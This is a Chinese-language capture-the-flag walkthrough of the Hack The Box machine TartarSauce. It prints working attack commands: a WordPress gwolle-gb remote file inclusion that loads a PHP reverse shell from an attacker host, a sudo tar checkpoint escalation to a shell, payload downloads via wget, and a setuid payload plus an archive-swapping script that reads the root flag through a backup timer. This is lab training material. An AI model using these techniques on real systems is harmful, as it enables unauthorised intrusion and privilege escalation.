[Meachines] [Medium] TartarSauce Wordpress-gwolle-gb-RFI+tar权限提升+定时器备份文件权限提升

信息收集

IP AddressOpening Ports
10.10.10.88TCP:80

$ nmap -p- 10.10.10.88 --min-rate 1000 -sC -sV

PORT   STATE SERVICE    VERSION
80/tcp open  tcpwrapped

Wordpress & gwolle-gb & RFI

image.png

$ feroxbuster --url http://10.10.10.88/

image-1.png

$ wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 100

image-2.png

image-3.png

$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/test'

image-4.png

$ cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php

image-5.png

$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/'

image-6.png

www-data to onuma

$ python -c 'import pty; pty.spawn("/bin/bash")'

$ sudo -l

image-7.png

$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

image-8.png

User.txt

1895da47f6758f6ddf1f8c8ea61b4c4a

权限提升

系统中有一个名为 “backuperer.service” 的 systemd 定时器每隔几分钟运行一次。

image-9.png

$ find / -name backuperer 2>/dev/null

image-10.png

$ cat /usr/sbin/backuperer

image-11.png

# 定义变量
basedir=/var/www/html    # 备份源目录
bkpdir=/var/backups       # 备份文件保存目录
tmpdir=/var/tmp           # 临时目录
testmsg=$bkpdir/onuma_backup_test.txt    # 记录备份运行时间的测试消息文件
errormsg=$bkpdir/onuma_backup_error.txt  # 记录备份错误的文件
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)  # 存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希
check=$tmpdir/check      # 临时目录,用于存储解压后的备份文件

# 格式化函数
printbdr() {
    for n in $(seq 72); do
        /usr/bin/printf $"-"
    done
}
bdr=$(printbdr)  # 将分隔符保存到 bdr 变量中

# 记录备份时间
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# 清理
/bin/rm -rf $tmpdir/.* $check

# 执行备份
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# 等待备份完成
/bin/sleep 30

# 检查备份完整性
integrity_chk() {
    /usr/bin/diff -r $basedir $check$basedir
}

# 创建 $check 目录
/bin/mkdir $check

# 解压备份文件
/bin/tar -zxvf $tmpfile -C $check

# 调用 integrity_chk 函数检查备份的完整性
if [[ $(integrity_chk) ]]; then
    # 记录错误信息并退出
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # 移动备份文件到目标目录并清理临时文件
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

1.自动清除/tmp目录下以.并且以SHA1 哈希值开头的隐藏备份文件.
2.使用onuma权限备份/var/www/html目录下文件到/var/tmp目录,存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希.
3./var/tmp目录中被创建check文件夹.
4.解压备份文件/var/tmp中,以.并且以SHA1 哈希值开头的隐藏备份文件到/var/tmp/check目录
5.调用 integrity_chk 函数检查备份的完整性

主要问题存在于/bin/tar -zxvf $tmpfile -C $check作用于/var/tmp中提取文件覆盖到/var/tmp/check目录中,我们需要在在它备份成一个.hash文件的时候劫持替换成恶意的压缩文件

构造payload

//setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

$ sudo apt install gcc-multilib

$ gcc -m32 -o setuid setuid.c

$ chmod 4755 setuid

$ mkdir -p var/www/html

$ mv setuid ./var/www/html

$ tar -zcvf setuid.tar.gz var/

onuma@TartarSauce:/var/tmp$ wget http://10.10.16.24/setuid.tar.gz

等待定时器执行后在/var/tmp下会出现一个文件

.xxxxxx

image-12.png

替换文件

$ cp setuid.tar.gz .0d2369d13e9d34f9b994242d49e4446197b2ef18

整个过程只有5分钟之内可以利用,否则会将check文件删除,这里为var/www/html是为了绕过integrity_chk函数,不产生错误的正常的执行完成。它会比较/var/tmp/check的目录结构是否和/var/www/html下的路径是否一致。

image-13.png

onuma@TartarSauce:/var/tmp/check/var/www/html$ ./setuid

但是似乎不兼容

image-14.png

利用软连接+错误日志获取Flag

#!/bin/bash
# exp.sh
# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
    sleep 10;
    cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt

$ wget http://10.10.16.24/exp.sh
$ chmod +x exp.sh
$ ./exp.sh

image-15.png

Root.txt

6d1a541ae753613c68668f1ed114ffc9

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值